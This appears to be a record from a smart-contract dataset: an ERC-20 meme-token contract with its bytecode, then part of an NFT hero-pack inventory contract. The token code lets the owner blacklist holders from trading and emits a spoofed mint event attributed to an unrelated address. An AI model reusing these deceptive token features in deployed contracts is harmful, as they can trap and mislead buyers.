_tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "AvengeTheDinosaurs"; string private constant _symbol = "ATD"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0xb53Df4Fb4De3ba439421B052e6F4671f719497cd); _feeAddrWallet2 = payable(0xb53Df4Fb4De3ba439421B052e6F4671f719497cd); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 40000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102cc578063b515566a146102ec578063c3c8cd801461030c578063c9567bf914610321578063dd62ed3e1461033657600080fd5b806370a0823114610243578063715018a6146102635780638da5cb5b1461027857806395d89b41146102a057600080fd5b8063273123b7116100d1578063273123b7146101d0578063313ce567146101f25780635932ead11461020e5780636fc3eaec1461022e57600080fd5b806306fdde031461010e578063095ea7b31461015b57806318160ddd1461018b57806323b872dd146101b057600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820190915260128152714176656e676554686544696e6f736175727360701b60208201525b60405161015291906117bb565b60405180910390f35b34801561016757600080fd5b5061017b61017636600461165b565b61037c565b6040519015158152602001610152565b34801561019757600080fd5b50670de0b6b3a76400005b604051908152602001610152565b3480156101bc57600080fd5b5061017b6101cb36600461161a565b610393565b3480156101dc57600080fd5b506101f06101eb3660046115a7565b6103fc565b005b3480156101fe57600080fd5b5060405160098152602001610152565b34801561021a57600080fd5b506101f0610229366004611753565b610450565b34801561023a57600080fd5b506101f0610498565b34801561024f57600080fd5b506101a261025e3660046115a7565b6104c5565b34801561026f57600080fd5b506101f06104e7565b34801561028457600080fd5b506000546040516001600160a01b039091168152602001610152565b3480156102ac57600080fd5b5060408051808201909152600381526210551160ea1b6020820152610145565b3480156102d857600080fd5b5061017b6102e736600461165b565b61055b565b3480156102f857600080fd5b506101f0610307366004611687565b610568565b34801561031857600080fd5b506101f06105fe565b34801561032d57600080fd5b506101f0610634565b34801561034257600080fd5b506101a26103513660046115e1565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103893384846109f5565b5060015b92915050565b60006103a0848484610b19565b6103f284336103ed856040518060600160405280602881526020016119a7602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e66565b6109f5565b5060019392505050565b6000546001600160a01b0316331461042f5760405162461bcd60e51b815260040161042690611810565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461047a5760405162461bcd60e51b815260040161042690611810565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b857600080fd5b476104c281610ea0565b50565b6001600160a01b03811660009081526002602052604081205461038d90610f25565b6000546001600160a01b031633146105115760405162461bcd60e51b815260040161042690611810565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610389338484610b19565b6000546001600160a01b031633146105925760405162461bcd60e51b815260040161042690611810565b60005b81518110156105fa576001600660008484815181106105b6576105b6611957565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105f281611926565b915050610595565b5050565b600c546001600160a01b0316336001600160a01b03161461061e57600080fd5b6000610629306104c5565b90506104c281610fa9565b6000546001600160a01b0316331461065e5760405162461bcd60e51b815260040161042690611810565b600f54600160a01b900460ff16156106b85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610426565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106f43082670de0b6b3a76400006109f5565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561072d57600080fd5b505afa158015610741573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076591906115c4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107ad57600080fd5b505afa1580156107c1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e591906115c4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082d57600080fd5b505af1158015610841573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086591906115c4565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610895816104c5565b6000806108aa6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561090d57600080fd5b505af1158015610921573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610946919061178d565b5050600f8054668e1bc9bf04000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109bd57600080fd5b505af11580156109d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105fa9190611770565b6001600160a01b038316610a575760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610426565b6001600160a01b038216610ab85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610426565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b7d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610426565b6001600160a01b038216610bdf5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610426565b60008111610c415760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610426565b6002600a908155600b556000546001600160a01b03848116911614801590610c7757506000546001600160a01b03838116911614155b15610e56576001600160a01b03831660009081526006602052604090205460ff16158015610cbe57506001600160a01b03821660009081526006602052604090205460ff16155b610cc757600080fd5b600f546001600160a01b038481169116148015610cf25750600e546001600160a01b03838116911614155b8015610d1757506001600160a01b03821660009081526005602052604090205460ff16155b8015610d2c5750600f54600160b81b900460ff165b15610d8957601054811115610d4057600080fd5b6001600160a01b0382166000908152600760205260409020544211610d6457600080fd5b610d6f42601e6118b6565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610db45750600e546001600160a01b03848116911614155b8015610dd957506001600160a01b03831660009081526005602052604090205460ff16155b15610de9576002600a908155600b555b6000610df4306104c5565b600f54909150600160a81b900460ff16158015610e1f5750600f546001600160a01b03858116911614155b8015610e345750600f54600160b01b900460ff165b15610e5457610e4281610fa9565b478015610e5257610e5247610ea0565b505b505b610e61838383611132565b505050565b60008184841115610e8a5760405162461bcd60e51b815260040161042691906117bb565b506000610e97848661190f565b95945050505050565b600c546001600160a01b03166108fc610eba83600261113d565b6040518115909202916000818181858888f19350505050158015610ee2573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610efd83600261113d565b6040518115909202916000818181858888f193505050501580156105fa573d6000803e3d6000fd5b6000600854821115610f8c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610426565b6000610f9661117f565b9050610fa2838261113d565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ff157610ff1611957565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561104557600080fd5b505afa158015611059573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107d91906115c4565b8160018151811061109057611090611957565b6001600160a01b039283166020918202929092010152600e546110b691309116846109f5565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110ef908590600090869030904290600401611845565b600060405180830381600087803b15801561110957600080fd5b505af115801561111d573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e618383836111a2565b6000610fa283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611299565b600080600061118c6112c7565b909250905061119b828261113d565b9250505090565b6000806000806000806111b487611307565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111e69087611364565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461121590866113a6565b6001600160a01b03891660009081526002602052604090205561123781611405565b611241848361144f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128691815260200190565b60405180910390a3505050505050505050565b600081836112ba5760405162461bcd60e51b815260040161042691906117bb565b506000610e9784866118ce565b6008546000908190670de0b6b3a76400006112e2828261113d565b8210156112fe57505060085492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006113248a600a54600b54611473565b925092509250600061133461117f565b905060008060006113478e8787876114c8565b919e509c509a509598509396509194505050505091939550919395565b6000610fa283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e66565b6000806113b383856118b6565b905083811015610fa25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610426565b600061140f61117f565b9050600061141d8383611518565b3060009081526002602052604090205490915061143a90826113a6565b30600090815260026020526040902055505050565b60085461145c9083611364565b60085560095461146c90826113a6565b6009555050565b600080808061148d60646114878989611518565b9061113d565b905060006114a060646114878a89611518565b905060006114b8826114b28b86611364565b90611364565b9992985090965090945050505050565b60008080806114d78886611518565b905060006114e58887611518565b905060006114f38888611518565b90506000611505826114b28686611364565b939b939a50919850919650505050505050565b6000826115275750600061038d565b600061153383856118f0565b90508261154085836118ce565b14610fa25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610426565b80356115a281611983565b919050565b6000602082840312156115b957600080fd5b8135610fa281611983565b6000602082840312156115d657600080fd5b8151610fa281611983565b600080604083850312156115f457600080fd5b82356115ff81611983565b9150602083013561160f81611983565b809150509250929050565b60008060006060848603121561162f57600080fd5b833561163a81611983565b9250602084013561164a81611983565b929592945050506040919091013590565b6000806040838503121561166e57600080fd5b823561167981611983565b946020939093013593505050565b6000602080838503121561169a57600080fd5b823567ffffffffffffffff808211156116b257600080fd5b818501915085601f8301126116c657600080fd5b8135818111156116d8576116d861196d565b8060051b604051601f19603f830116810181811085821117156116fd576116fd61196d565b604052828152858101935084860182860187018a101561171c57600080fd5b600095505b838610156117465761173281611597565b855260019590950194938601938601611721565b5098975050505050505050565b60006020828403121561176557600080fd5b8135610fa281611998565b60006020828403121561178257600080fd5b8151610fa281611998565b6000806000606084860312156117a257600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156117e8578581018301518582016040015282016117cc565b818111156117fa576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118955784516001600160a01b031683529383019391830191600101611870565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118c9576118c9611941565b500190565b6000826118eb57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561190a5761190a611941565b500290565b60008282101561192157611921611941565b500390565b600060001982141561193a5761193a611941565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c257600080fd5b80151581146104c257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220319cbe3a2ac9b7d3cff58e2899f09584c3b94ce5a8913d369c6428e89d6546bf64736f6c63430008070033
[ 13, 5 ]
0xF29EB5201a75454705f82BBfA8deA0bd0c1Cb335
pragma solidity >=0.8.0 <0.9.0; contract Constants { uint256 constant cMaxRandom = 10000; uint8 constant cFutureBlockOffset = 2; uint8 constant cNumRareHeroTypes = 16; uint8 constant cNumEpicHeroTypes = 11; uint8 constant cNumLegendaryHeroTypes = 8; uint256 constant numProduct = 9; uint8 constant cNumHeroTypes = cNumRareHeroTypes + cNumEpicHeroTypes + cNumLegendaryHeroTypes; uint16 constant cReferralDiscount = 500; uint16 constant cReferrerBonus = 500; bytes32 public constant PRODUCT_OWNER_ROLE = keccak256("PRODUCT_OWNER_ROLE"); bytes32 public constant TREASURER_ROLE = keccak256("TREASURER_ROLE"); bytes32 public constant IMMUTABLE_SYSTEM_ROLE = keccak256("IMMUTABLE_SYSTEM_ROLE"); enum Product { RareHeroPack, EpicHeroPack, LegendaryHeroPack, PetPack, EnergyToken, BasicGuildToken, Tier1GuildToken, Tier2GuildToken, Tier3GuildToken } enum Rarity {Rare, Epic, Legendary, Common, NA} enum Price {FirstSale, LastSale} } pragma solidity >=0.8.0 <0.9.0; import "@openzeppelin/contracts/access/AccessControl.sol"; import "./Constants.sol"; import "./Dice.sol"; import "./ExchangeRate.sol"; import "./Referral.sol"; contract Inventory is Constants, AccessControl, Dice, ExchangeRate, Referral { address[cNumHeroTypes] public mythicOwner; Settings settings; uint256[numProduct] public originalStock; uint256[numProduct] public stockAvailable; bool public stockFixed = false; uint256[2][numProduct] public productPrices; struct Settings { uint256 firstChromaChance; uint256 secondChromaChance; uint256 rareToEpicUpgradeChance; uint256 rareToLegendaryUpgradeChance; uint256 epicToLegendaryUpgradeChance; uint256 petRareChance; uint256 petEpicChance; uint256 petLegendaryChance; uint256 rareHeroMythicChance; uint256 epicHeroMythicChance; uint256 legendaryHeroMythicChance; } struct AllocatedOrder { uint256 firstDiceRoll; uint16[] order; } struct DetailedAllocation { Product product; Rarity rarity; uint8 heroPetType; uint8 chroma; bool potentialMythic; } event AllocateOrder( AllocatedOrder _allocatedOrder, address indexed _owner, uint256 _orderPrice ); event PermanentlyLockStock(); event GiftOrder(address indexed _giftRecipient); event ClaimMythic( AllocatedOrder _allocatedOrder, uint256 _mythicOrderLine, address indexed _customerAddr ); constructor(address _usdEthPairAddress) Dice(cMaxRandom, cFutureBlockOffset) ExchangeRate(_usdEthPairAddress) Referral(cReferralDiscount, cReferrerBonus) {} /// STOCK: /// @notice Allows product owner to add additional waves of stock /// @param _stockToAdd Additional stock as an array indexed by product id function addStock(uint16[] memory _stockToAdd) public { require( hasRole(PRODUCT_OWNER_ROLE, msg.sender), "Caller is not product owner" ); require(!stockFixed, "No more stock can be added"); for (uint256 i = 0; i < numProduct; i++) { originalStock[i] += _stockToAdd[i]; stockAvailable[i] += _stockToAdd[i]; } } /// @notice Allows product owner to lock stock so that buyers know nomore will be created function permanentlyLockStock() public { require( hasRole(PRODUCT_OWNER_ROLE, msg.sender), "Caller is not product owner" ); require(!stockFixed, "Stock already locked"); stockFixed = true; emit PermanentlyLockStock(); } function _updateStockLevels(uint16[] memory _order) internal { require(_order.length == numProduct, "Unexpected number of orderlines"); stockAvailable[uint8(Product.RareHeroPack)] -= _order[ uint8(Product.RareHeroPack) ]; stockAvailable[uint8(Product.EpicHeroPack)] -= _order[ uint8(Product.EpicHeroPack) ]; stockAvailable[uint8(Product.LegendaryHeroPack)] -= _order[ uint8(Product.LegendaryHeroPack) ]; stockAvailable[uint8(Product.PetPack)] -= _order[ uint8(Product.PetPack) ]; stockAvailable[uint8(Product.EnergyToken)] -= _order[ uint8(Product.EnergyToken) ]; stockAvailable[uint8(Product.BasicGuildToken)] -= _order[ uint8(Product.BasicGuildToken) ]; stockAvailable[uint8(Product.Tier1GuildToken)] -= _order[ uint8(Product.Tier1GuildToken) ]; stockAvailable[uint8(Product.Tier2GuildToken)] -= _order[ uint8(Product.Tier2GuildToken) ]; stockAvailable[uint8(Product.Tier3GuildToken)] -= _order[ uint8(Product.Tier3GuildToken) ]; } function _countStock() internal view returns (uint256) { uint256 count; for (uint256 i = 0; i < numProduct; i++) { count += stockAvailable[i]; } return count; } /// ALLOCATION: /// @param _allocatedOrder The order and allocated random number /// @param _secondDiceRoll random number as result of `getSecondDiceRoll` /// @return the allocated rarity, type, chroma, and mythic status for each order line function decodeAllocation( AllocatedOrder memory _allocatedOrder, uint256 _secondDiceRoll ) public view returns (DetailedAllocation[] memory) { uint256 numLines = _calcNumOrderLines(_allocatedOrder.order); // DetailedAllocation[uint(numLines)] detailedAllocation; DetailedAllocation[] memory detailedAllocation = new DetailedAllocation[](numLines); uint16 orderLineNumber; // Process Rare hero packs for ( uint256 i = 0; i < _allocatedOrder.order[uint256(Product.RareHeroPack)]; i++ ) { Rarity rarity = _rarityAllocation( Rarity.Rare, uint256( keccak256( abi.encodePacked( _secondDiceRoll, uint256(3), orderLineNumber ) ) ) ); uint8 chroma = _chromaAllocation( uint256( keccak256( abi.encodePacked( _secondDiceRoll, uint256(2), orderLineNumber ) ) ) ); uint8 heroType = _heroTypeAllocation( rarity, uint256( keccak256( abi.encodePacked( _secondDiceRoll, uint256(1), orderLineNumber ) ) ) ); bool potentialMythic = _mythicAllocation( rarity, uint256( keccak256( abi.encodePacked( _secondDiceRoll, uint256(4), orderLineNumber ) ) ) ); detailedAllocation[orderLineNumber] = DetailedAllocation({ product: Product.RareHeroPack, rarity: rarity, heroPetType: heroType, chroma: chroma, potentialMythic: potentialMythic }); orderLineNumber++; } // Process Epic hero packs for ( uint256 i = 0; i < _allocatedOrder.order[uint256(Product.EpicHeroPack)]; i++ ) { Rarity rarity = _rarityAllocation( Rarity.Epic, uint256( keccak256( abi.encodePacked( _secondDiceRoll, uint256(3), orderLineNumber ) ) ) ); uint8 chroma = _chromaAllocation( uint256( keccak256( abi.encodePacked( _secondDiceRoll, uint256(2), orderLineNumber ) ) ) ); uint8 heroType = _heroTypeAllocation( rarity, uint256( keccak256( abi.encodePacked( _secondDiceRoll, uint256(1), orderLineNumber ) ) ) ); bool potentialMythic = _mythicAllocation( rarity, uint256( keccak256( abi.encodePacked( _secondDiceRoll, uint256(4), orderLineNumber ) ) ) ); detailedAllocation[orderLineNumber] = DetailedAllocation({ product: Product.EpicHeroPack, rarity: rarity, heroPetType: heroType, chroma: chroma, potentialMythic: potentialMythic }); orderLineNumber++; } // Process Legendary hero packs for ( uint256 i = 0; i < _allocatedOrder.order[uint256(Product.LegendaryHeroPack)]; i++ ) { Rarity rarity = _rarityAllocation( Rarity.Legendary, uint256( keccak256( abi.encodePacked( _secondDiceRoll, uint256(3), orderLineNumber ) ) ) ); uint8 chroma = _chromaAllocation( uint256( keccak256( abi.encodePacked( _secondDiceRoll, uint256(2), orderLineNumber ) ) ) ); uint8 heroType = _heroTypeAllocation( rarity, uint256( keccak256( abi.encodePacked( _secondDiceRoll, uint256(1), orderLineNumber ) ) ) ); bool potentialMythic = _mythicAllocation( rarity, uint256( keccak256( abi.encodePacked( _secondDiceRoll, uint256(4), orderLineNumber ) ) ) ); detailedAllocation[orderLineNumber] = DetailedAllocation({ product: Product.LegendaryHeroPack, rarity: rarity, heroPetType: heroType, chroma: chroma, potentialMythic: potentialMythic }); orderLineNumber++; } // Process pet packs for ( uint256 i = 0; i < _allocatedOrder.order[uint256(Product.PetPack)]; i++ ) { uint8 petType = _petTypeAllocation( uint256( keccak256( abi.encodePacked( _secondDiceRoll, uint256(1), orderLineNumber ) ) ) ); Rarity petRarity = _petRarityAllocation( uint256( keccak256( abi.encodePacked( _secondDiceRoll, uint256(2), orderLineNumber ) ) ) ); detailedAllocation[orderLineNumber] = DetailedAllocation({ product: Product.PetPack, rarity: petRarity, heroPetType: petType, chroma: 0, potentialMythic: false }); orderLineNumber++; } for ( uint256 i = 0; i < _allocatedOrder.order[uint256(Product.BasicGuildToken)]; i++ ) { detailedAllocation[orderLineNumber] = DetailedAllocation({ product: Product.BasicGuildToken, rarity: Rarity.NA, heroPetType: 0, chroma: 0, potentialMythic: false }); orderLineNumber++; } for ( uint256 i = 0; i < _allocatedOrder.order[uint256(Product.Tier1GuildToken)]; i++ ) { detailedAllocation[orderLineNumber] = DetailedAllocation({ product: Product.Tier1GuildToken, rarity: Rarity.NA, heroPetType: 0, chroma: 0, potentialMythic: false }); orderLineNumber++; } for ( uint256 i = 0; i < _allocatedOrder.order[uint256(Product.Tier2GuildToken)]; i++ ) { detailedAllocation[orderLineNumber] = DetailedAllocation({ product: Product.Tier2GuildToken, rarity: Rarity.NA, heroPetType: 0, chroma: 0, potentialMythic: false }); orderLineNumber++; } for ( uint256 i = 0; i < _allocatedOrder.order[uint256(Product.Tier3GuildToken)]; i++ ) { detailedAllocation[orderLineNumber] = DetailedAllocation({ product: Product.Tier3GuildToken, rarity: Rarity.NA, heroPetType: 0, chroma: 0, potentialMythic: false }); orderLineNumber++; } for ( uint256 i = 0; i < _allocatedOrder.order[uint256(Product.EnergyToken)]; i++ ) { detailedAllocation[orderLineNumber] = DetailedAllocation({ product: Product.EnergyToken, rarity: Rarity.NA, heroPetType: 0, chroma: 0, potentialMythic: false }); orderLineNumber++; } return detailedAllocation; } /// @notice If a customer is allocated a potential mythic, Immutable will call this function to claim it for them. Only one mythic exists for each hero type hence cannot be claimed by more than one customer /// @param _allocatedOrder The allocated order purchased by the customer /// @param _mythicOrderLine The order line containing the potential mythic /// @param _secondDiceRoll random number as result of `getSecondDiceRoll` function claimMythicForCustomer( AllocatedOrder memory _allocatedOrder, uint256 _mythicOrderLine, address _customerAddr, uint256 _secondDiceRoll ) public { require( hasRole(IMMUTABLE_SYSTEM_ROLE, msg.sender), "Caller is not immutable" ); if ( _confirmMythic(_allocatedOrder, _mythicOrderLine, _secondDiceRoll) ) { uint256 heroType = _getMythicHeroType( _allocatedOrder, _mythicOrderLine, _secondDiceRoll ); mythicOwner[heroType] = _customerAddr; } emit ClaimMythic(_allocatedOrder, _mythicOrderLine, _customerAddr); } /// @notice If a customer is allocated a potential mythic, they need to call this function to confirm it is still available. Only one mythic exists for each hero type hence cannot be claimed by more than one customer /// @param _allocatedOrder The allocated order purchased by the customer /// @param _mythicOrderLine The order line containing the potential mythic /// @param _secondDiceRoll random number as result of `getSecondDiceRoll` /// @return true if the mythic is still available, false if already sold function confirmMythic( AllocatedOrder memory _allocatedOrder, uint256 _mythicOrderLine, uint256 _secondDiceRoll ) public view returns (bool) { return _confirmMythic(_allocatedOrder, _mythicOrderLine, _secondDiceRoll); } function _confirmMythic( AllocatedOrder memory _allocatedOrder, uint256 _mythicOrderLine, uint256 _secondDiceRoll ) internal view returns (bool) { DetailedAllocation[] memory detailedAllocations = decodeAllocation(_allocatedOrder, _secondDiceRoll); DetailedAllocation memory potentialMythicAllocation = detailedAllocations[_mythicOrderLine]; uint256 heroType = potentialMythicAllocation.heroPetType; if ( potentialMythicAllocation.potentialMythic && mythicOwner[heroType] == address(0) ) { return true; } else { return false; } } function _getMythicHeroType( AllocatedOrder memory _allocatedOrder, uint256 _mythicOrderLine, uint256 _secondDiceRoll ) internal view returns (uint256) { DetailedAllocation[] memory detailedAllocations = decodeAllocation(_allocatedOrder, _secondDiceRoll); DetailedAllocation memory 